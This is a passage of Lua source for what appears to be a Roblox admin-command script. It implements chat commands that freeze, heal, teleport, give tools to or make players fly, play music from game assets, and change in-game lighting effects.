  1049. end
  1050. end))
  1051. end
  1052. end
  1053.  
  1054. if msg:lower():sub(1,9) == "sparkles " then
  1055. local plrz = GetPlr(plr, msg:lower():sub(10))
  1056. for i, v in pairs(plrz) do
  1057. coroutine.resume(coroutine.create(function()
  1058. if v and v.Character and v.Character:findFirstChild("Torso") then
  1059. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  1060. end
  1061. end))
  1062. end
  1063. end
  1064.  
  1065. if msg:lower():sub(1,11) == "unsparkles " then
  1066. local plrz = GetPlr(plr, msg:lower():sub(12))
  1067. for i, v in pairs(plrz) do
  1068. coroutine.resume(coroutine.create(function()
  1069. if v and v.Character and v.Character:findFirstChild("Torso") then
  1070. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  1071. end
  1072. end))
  1073. end
  1074. end
  1075.  
  1076. if msg:lower():sub(1,3) == "ff " then
  1077. local plrz = GetPlr(plr, msg:lower():sub(4))
  1078. for i, v in pairs(plrz) do
  1079. coroutine.resume(coroutine.create(function()
  1080. if v and v.Character then Instance.new("ForceField", v.Character) end
  1081. end))
  1082. end
  1083. end
  1084.  
  1085. if msg:lower():sub(1,5) == "unff " then
  1086. local plrz = GetPlr(plr, msg:lower():sub(6))
  1087. for i, v in pairs(plrz) do
  1088. coroutine.resume(coroutine.create(function()
  1089. if v and v.Character then
  1090. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  1091. end
  1092. end))
  1093. end
  1094. end
  1095.  
  1096. if msg:lower():sub(1,7) == "punish " then
  1097. local plrz = GetPlr(plr, msg:lower():sub(8))
  1098. for i, v in pairs(plrz) do
  1099. coroutine.resume(coroutine.create(function()
  1100. if v and v.Character then
  1101. v.Character.Parent = game:service("Lighting")
  1102. end
  1103. end))
  1104. end
  1105. end
  1106.  
  1107. if msg:lower():sub(1,9) == "unpunish " then
  1108. local plrz = GetPlr(plr, msg:lower():sub(10))
  1109. for i, v in pairs(plrz) do
  1110. coroutine.resume(coroutine.create(function()
  1111. if v and v.Character then
  1112. v.Character.Parent = game:service("Workspace")
  1113. v.Character:MakeJoints()
  1114. end
  1115. end))
  1116. end
  1117. end
  1118.  
  1119. if msg:lower():sub(1,7) == "freeze " then
  1120. local plrz = GetPlr(plr, msg:lower():sub(8))
  1121. for i, v in pairs(plrz) do
  1122. coroutine.resume(coroutine.create(function()
  1123. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1124. for a, obj in pairs(v.Character:children()) do
  1125. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  1126. end
  1127. end
  1128. end))
  1129. end
  1130. end
  1131.  
  1132. if msg:lower():sub(1,5) == "thaw " then
  1133. local plrz = GetPlr(plr, msg:lower():sub(6))
  1134. for i, v in pairs(plrz) do
  1135. coroutine.resume(coroutine.create(function()
  1136. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1137. for a, obj in pairs(v.Character:children()) do
  1138. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1139. end
  1140. end
  1141. end))
  1142. end
  1143. end
  1144.  
  1145. if msg:lower():sub(1,5) == "heal " then
  1146. local plrz = GetPlr(plr, msg:lower():sub(6))
  1147. for i, v in pairs(plrz) do
  1148. coroutine.resume(coroutine.create(function()
  1149. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1150. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1151. end
  1152. end))
  1153. end
  1154. end
  1155.  
  1156. if msg:lower():sub(1,4) == "god " then
  1157. local plrz = GetPlr(plr, msg:lower():sub(5))
  1158. for i, v in pairs(plrz) do
  1159. coroutine.resume(coroutine.create(function()
  1160. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1161. v.Character.Humanoid.MaxHealth = math.huge
  1162. v.Character.Humanoid.Health = 9e9
  1163. end
  1164. end))
  1165. end
  1166. end
  1167.  
  1168. if msg:lower():sub(1,6) == "ungod " then
  1169. local plrz = GetPlr(plr, msg:lower():sub(7))
  1170. for i, v in pairs(plrz) do
  1171. coroutine.resume(coroutine.create(function()
  1172. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1173. v.Character.Humanoid.MaxHealth = 100
  1174. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1175. end
  1176. end))
  1177. end
  1178. end
  1179.  
  1180. if msg:lower():sub(1,8) == "ambient " then
  1181. local chk1 = msg:lower():sub(9):find(" ") + 8
  1182. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1183. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1184. end
  1185.  
  1186. if msg:lower():sub(1,11) == "brightness " then
  1187. game.Lighting.Brightness = msg:sub(12)
  1188. end
  1189.  
  1190. if msg:lower():sub(1,5) == "time " then
  1191. game.Lighting.TimeOfDay = msg:sub(6)
  1192. end
  1193.  
  1194. if msg:lower():sub(1,9) == "fogcolor " then
  1195. local chk1 = msg:lower():sub(10):find(" ") + 9
  1196. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1197. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1198. end
  1199.  
  1200. if msg:lower():sub(1,7) == "fogend " then
  1201. game.Lighting.FogEnd = msg:sub(8)
  1202. end
  1203.  
  1204. if msg:lower():sub(1,9) == "fogstart " then
  1205. game.Lighting.FogStart = msg:sub(10)
  1206. end
  1207.  
  1208. if msg:lower():sub(1,7) == "btools " then
  1209. local plrz = GetPlr(plr, msg:lower():sub(8))
  1210. for i, v in pairs(plrz) do
  1211. coroutine.resume(coroutine.create(function()
  1212. if v and v:findFirstChild("Backpack") then
  1213. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1214. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1215. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1216. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1217. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1218. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1219. local sb
  1220. local hs
  1221. local pdist
  1222.  
  1223. script.Parent.Selected:connect(function(mouse)
  1224. if not mouse then return end
  1225. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1226. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1227. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1228. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1229. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1230. end)
  1231.  
  1232. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1233. end
  1234. end))
  1235. end
  1236. end
  1237.  
  1238. if msg:lower():sub(1,12) == "startergive " then
  1239. local chk1 = msg:lower():sub(13):find(" ") + 12
  1240. local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
  1241. for i, v in pairs(plrz) do
  1242. coroutine.resume(coroutine.create(function()
  1243. if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
  1244. for a, tool in pairs(game.Lighting:children()) do
  1245. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1246. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
  1247. end
  1248. end
  1249. end
  1250. end))
  1251. end
  1252. end
  1253.  
  1254. if msg:lower():sub(1,5) == "give " then
  1255. local chk1 = msg:lower():sub(6):find(" ") + 5
  1256. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1257. for i, v in pairs(plrz) do
  1258. coroutine.resume(coroutine.create(function()
  1259. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1260. for a, tool in pairs(game.Lighting:children()) do
  1261. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1262. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1263. end
  1264. end
  1265. end
  1266. end))
  1267. end
  1268. end
  1269.  
  1270. if msg:lower():sub(1,12) == "removetools " then
  1271. local plrz = GetPlr(plr, msg:lower():sub(13))
  1272. for i, v in pairs(plrz) do
  1273. coroutine.resume(coroutine.create(function()
  1274. if v and v.Character and v:findFirstChild("Backpack") then
  1275. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1276. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1277. end
  1278. end))
  1279. end
  1280. end
  1281.  
  1282. if msg:lower():sub(1,5) == "rank " then
  1283. local chk1 = msg:lower():sub(6):find(" ") + 5
  1284. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1285. for i, v in pairs(plrz) do
  1286. coroutine.resume(coroutine.create(function()
  1287. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1288. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1289. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1290. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1291. end
  1292. end))
  1293. end
  1294. end
  1295.  
  1296. if msg:lower():sub(1,7) == "damage " then
  1297. local chk1 = msg:lower():sub(8):find(" ") + 7
  1298. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1299. for i, v in pairs(plrz) do
  1300. coroutine.resume(coroutine.create(function()
  1301. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1302. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1303. end
  1304. end))
  1305. end
  1306. end
  1307.  
  1308. if msg:lower():sub(1,5) == "grav " then
  1309. local plrz = GetPlr(plr, msg:lower():sub(6))
  1310. for i, v in pairs(plrz) do
  1311. coroutine.resume(coroutine.create(function()
  1312. if v and v.Character and v.Character:findFirstChild("Torso") then
  1313. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1314. end
  1315. end))
  1316. end
  1317. end
  1318.  
  1319. if msg:lower():sub(1,8) == "setgrav " then
  1320. local chk1 = msg:lower():sub(9):find(" ") + 8
  1321. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1322. for i, v in pairs(plrz) do
  1323. coroutine.resume(coroutine.create(function()
  1324. if v and v.Character and v.Character:findFirstChild("Torso") then
  1325. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1326. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1327. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1328. end
  1329. end))
  1330. end
  1331. end
  1332.  
  1333. if msg:lower():sub(1,7) == "nograv " then
  1334. local plrz = GetPlr(plr, msg:lower():sub(8))
  1335. for i, v in pairs(plrz) do
  1336. coroutine.resume(coroutine.create(function()
  1337. if v and v.Character and v.Character:findFirstChild("Torso") then
  1338. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1339. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1340. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1341. end
  1342. end))
  1343. end
  1344. end
  1345.  
  1346. if msg:lower():sub(1,7) == "health " then
  1347. local chk1 = msg:lower():sub(8):find(" ") + 7
  1348. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1349. for i, v in pairs(plrz) do
  1350. coroutine.resume(coroutine.create(function()
  1351. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1352. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1353. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1354. end
  1355. end))
  1356. end
  1357. end
  1358.  
  1359. if msg:lower():sub(1,6) == "speed " then
  1360. local chk1 = msg:lower():sub(7):find(" ") + 6
  1361. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1362. for i, v in pairs(plrz) do
  1363. coroutine.resume(coroutine.create(function()
  1364. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1365. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1366. end
  1367. end))
  1368. end
  1369. end
  1370.  
  1371. if msg:lower():sub(1,5) == "team " then
  1372. local chk1 = msg:lower():sub(6):find(" ") + 5
  1373. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1374. for i, v in pairs(plrz) do
  1375. coroutine.resume(coroutine.create(function()
  1376. if v and game:findFirstChild("Teams") then
  1377. for a, tm in pairs(game.Teams:children()) do
  1378. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1379. end
  1380. end
  1381. end))
  1382. end
  1383. end
  1384.  
  1385. if msg:lower():sub(1,6) == "place " then
  1386. local chk1 = msg:lower():sub(7):find(" ") + 6
  1387. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1388. for i, v in pairs(plrz) do
  1389. coroutine.resume(coroutine.create(function()
  1390. if v and v:findFirstChild("PlayerGui") then
  1391. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1392. end
  1393. end))
  1394. end
  1395. end
  1396.  
  1397. if msg:lower():sub(1,3) == "tp " then
  1398. local chk1 = msg:lower():sub(4):find(" ") + 3
  1399. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1400. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1401. for i, v in pairs(plrz) do
  1402. coroutine.resume(coroutine.create(function()
  1403. for i2, v2 in pairs(plrz2) do
  1404. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1405. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1406. end
  1407. end
  1408. end))
  1409. end
  1410. end
  1411.  
  1412. if msg:lower():sub(1,7) == "change " then
  1413. local chk1 = msg:lower():sub(8):find(" ") + 7
  1414. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1415. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1416. for i, v in pairs(plrz) do
  1417. coroutine.resume(coroutine.create(function()
  1418. if v and v:findFirstChild("leaderstats") then
  1419. for a, st in pairs(v.leaderstats:children()) do
  1420. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1421. end
  1422. end
  1423. end))
  1424. end
  1425. end
  1426.  
  1427. if msg:lower():sub(1,6) == "shirt " then
  1428. local chk1 = msg:lower():sub(7):find(" ") + 6
  1429. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1430. for i, v in pairs(plrz) do
  1431. coroutine.resume(coroutine.create(function()
  1432. if v and v.Character then
  1433. for i,v in pairs(v.Character:children()) do
  1434. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1435. end
  1436. end
  1437. end))
  1438. end
  1439. end
  1440.  
  1441. if msg:lower():sub(1,6) == "pants " then
  1442. local chk1 = msg:lower():sub(7):find(" ") + 6
  1443. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1444. for i, v in pairs(plrz) do
  1445. coroutine.resume(coroutine.create(function()
  1446. if v and v.Character then
  1447. for i,v in pairs(v.Character:children()) do
  1448. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1449. end
  1450. end
  1451. end))
  1452. end
  1453. end
  1454.  
  1455. if msg:lower():sub(1,5) == "face " then
  1456. local chk1 = msg:lower():sub(6):find(" ") + 5
  1457. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1458. for i, v in pairs(plrz) do
  1459. coroutine.resume(coroutine.create(function()
  1460. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1461. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1462. end
  1463. end))
  1464. end
  1465. end
  1466.  
  1467.  
  1468. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1469.  
  1470. if msg:lower():sub(1,8) == "swagify " then
  1471. local plrz = GetPlr(plr, msg:lower():sub(9))
  1472. for i, v in pairs(plrz) do
  1473. coroutine.resume(coroutine.create(function()
  1474. if v and v.Character then
  1475. for i,v in pairs(v.Character:children()) do
  1476. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1477. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1478. end
  1479. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1480. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1481. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1482. local torso = plr.Character.Torso
  1483. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1484. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1485. p.Size = Vector3.new(.2,.2,.2)
  1486. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1487. local motor1 = Instance.new("Motor", p)
  1488. motor1.Part0 = p
  1489. motor1.Part1 = torso
  1490. motor1.MaxVelocity = .01
  1491. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1492. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1493. local wave = false
  1494. repeat wait(1/44)
  1495. local ang = 0.1
  1496. local oldmag = torso.Velocity.magnitude
  1497. local mv = .002
  1498. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1499. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1500. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1501. motor1.DesiredAngle = -ang
  1502. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1503. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1504. if torso.Velocity.magnitude < .1 then wait(.1) end
  1505. until not p or p.Parent ~= torso.Parent
  1506. script:Destroy()
  1507. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1508. end
  1509. end))
  1510. end
  1511. end
  1512.  
  1513. if msg:lower():sub(1,6) == "music " then
  1514. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1515. local id = msg:sub(7)
  1516. local pitch = 1
  1517. if tostring(id):lower():find("caramell") then id = 2303479 end
  1518. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1519. if tostring(id):find("rick") then id = 2027611 end
  1520. if tostring(id):find("halo") then id = 1034065 end
  1521. if tostring(id):find("pokemon") then id = 1372261 end
  1522. if tostring(id):find("cursed") then id = 1372257 end
  1523. if tostring(id):find("extreme") then id = 11420933 end
  1524. if tostring(id):find("awaken") then id = 27697277 end
  1525. if tostring(id):find("alone") then id = 27697392 end
  1526. if tostring(id):find("mario") then id = 1280470 end
  1527. if tostring(id):find("choir") then id = 1372258 end
  1528. if tostring(id):find("chrono") then id = 1280463 end
  1529. if tostring(id):find("dotr") then id = 11420922 end
  1530. if tostring(id):find("entertain") then id = 27697267 end
  1531. if tostring(id):find("fantasy") then id = 1280473 end
  1532. if tostring(id):find("final") then id = 1280414 end
  1533. if tostring(id):find("emblem") then id = 1372259 end
  1534. if tostring(id):find("flight") then id = 27697719 end
  1535. if tostring(id):find("banjo") then id = 27697298 end
  1536. if tostring(id):find("gothic") then id = 27697743 end
  1537. if tostring(id):find("hiphop") then id = 27697735 end
  1538. if tostring(id):find("intro") then id = 27697707 end
  1539. if tostring(id):find("mule") then id = 1077604 end
  1540. if tostring(id):find("film") then id = 27697713 end
  1541. if tostring(id):find("nezz") then id = 8610025 end
  1542. if tostring(id):find("angel") then id = 1372260 end
  1543. if tostring(id):find("resist") then id = 27697234 end
  1544. if tostring(id):find("schala") then id = 5985787 end
  1545. if tostring(id):find("organ") then id = 11231513 end
  1546. if tostring(id):find("tunnel") then id = 9650822 end
  1547. if tostring(id):find("spanish") then id = 5982975 end
  1548. if tostring(id):find("venom") then id = 1372262 end
  1549. if tostring(id):find("wind") then id = 1015394 end
  1550. if tostring(id):find("guitar") then id = 5986151 end
  1551. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1552. end
  1553.  
  1554. if msg:lower() == "stopmusic" then
  1555. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1556. end
  1557.  
  1558. if msg:lower() == "musiclist" then
  1559. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1560. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1561. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1562. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1563. end
  1564.  
  1565. if msg:lower():sub(1,4) == "fly " then
  1566. local plrz = GetPlr(plr, msg:lower():sub(5))
  1567. for i, v in pairs(plrz) do
  1568. coroutine.resume(coroutine.create(function()
  1569. if v and v:findFirstChild("PlayerGui") then
  1570. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  1571. local mouse = game.Players.LocalPlayer:GetMouse()
  1572. repeat wait() until mouse
  1573. local plr = game.Players.LocalPlayer
  1574. local torso = plr.Character.Torso
  1575. local flying = true
  1576. local deb = true
  1577. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  1578. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1579. local maxspeed = 50
  1580. local speed = 0
  1581. function Fly()
  1582. local bg = Instance.new("BodyGyro", torso)
  1583. bg.P = 9e4
  1584. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  1585. bg.cframe = torso.CFrame
  1586. local bv = Instance.new("BodyVelocity", torso)
  1587. bv.velocity = Vector3.new(0,0.1,0)
  1588. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  1589. repeat wait()
  1590. plr.Character.Humanoid.PlatformStand = true
  1591. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  1592. speed = speed+.5+(speed/maxspeed)
  1593. if speed > maxspeed then
  1594. speed = maxspeed
  1595. end
  1596. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  1597. speed = speed-1
  1598. if speed < 0 then
  1599. speed = 0
  1600. end
  1601. end
  1602. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  1603. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1604. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  1605. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  1606. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1607. else
  1608. bv.velocity = Vector3.new(0,0.1,0)
  1609. end
  1610. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  1611. until not flying
  1612. ctrl = {f = 0, b = 0, l = 0, r = 0}
  1613. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1614. speed = 0
  1615. bg:Destroy()
  1616. bv:Destroy()
  1617. plr.Character.Humanoid.PlatformStand = false
  1618. end
  1619. mouse.KeyDown:connect(function(key)
  1620. if key:lower() == "e" then
  1621. if flying then flying = false
  1622. else
  1623. flying = true
  1624. Fly()
  1625. end
  1626. elseif key:lower() == "w" then
  1627. ctrl.f = 1
  1628. elseif key:lower() == "s" then
  1629. ctrl.b = -1
  1630. elseif key:lower() == "a" then
  1631. ctrl.l = -1
  1632. elseif key:lower() == "d" then
  1633. ctrl.r = 1
  1634. end
  1635. end)
  1636. mouse.KeyUp:connect(function(key)
  1637. if key:lower() == "w" then
  1638. ctrl.f = 0
  1639. elseif key:lower() == "s" then
  1640. ctrl.b = 0
  1641. elseif key:lower() == "a" then
  1642. ctrl.l = 0
  1643. elseif key:lower() == "d" then
  1644. ctrl.r = 0
  1645. end
  1646. end)
  1647. Fly()]]
  1648. cl.Parent = v.PlayerGui cl.Disabled = false
  1649. end
  1650. end))
  1651. end
  1652. end
  1653.  
  1654. if msg:lower():sub(1,6) == "unfly " then
  1655. local plrz = GetPlr(plr, msg:lower():sub(7))
  1656. for i, v in pairs(plrz) do
  1657. coroutine.resume(coroutine.create(function()
  1658. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1659. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1660. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1661. wait(.1) v.Character.Humanoid.PlatformStand = false
  1662. end
  1663. end))
  1664. end
  1665. end
  1666.  
  1667. if msg:lower() == "disco" then
  1668. for i, v in pairs(lobjs) do v:Destroy() end
  1669. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1670. game.Lighting.Ambient = color
  1671. game.Lighting.FogColor = color
  1672. until nil]]
  1673. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1674. end
  1675.  
  1676. if msg:lower() == "flash" then
  1677. for i, v in pairs(lobjs) do v:Destroy() end
  1678. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1679. game.Lighting.Ambient = Color3.new(1,1,1)
  1680. game.Lighting.FogColor = Color3.new(1,1,1)
  1681. game.Lighting.Brightness = 1
  1682. game.Lighting.TimeOfDay = 14
  1683. wait(.1)
  1684. game.Lighting.Ambient = Color3.new(0,0,0)
  1685. game.Lighting.FogColor = Color3.new(0,0,0)
  1686. game.Lighting.Brightness = 0
  1687. game.Lighting.TimeOfDay = 0
  1688. until nil]]
  1689. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1690. end
  1691.  
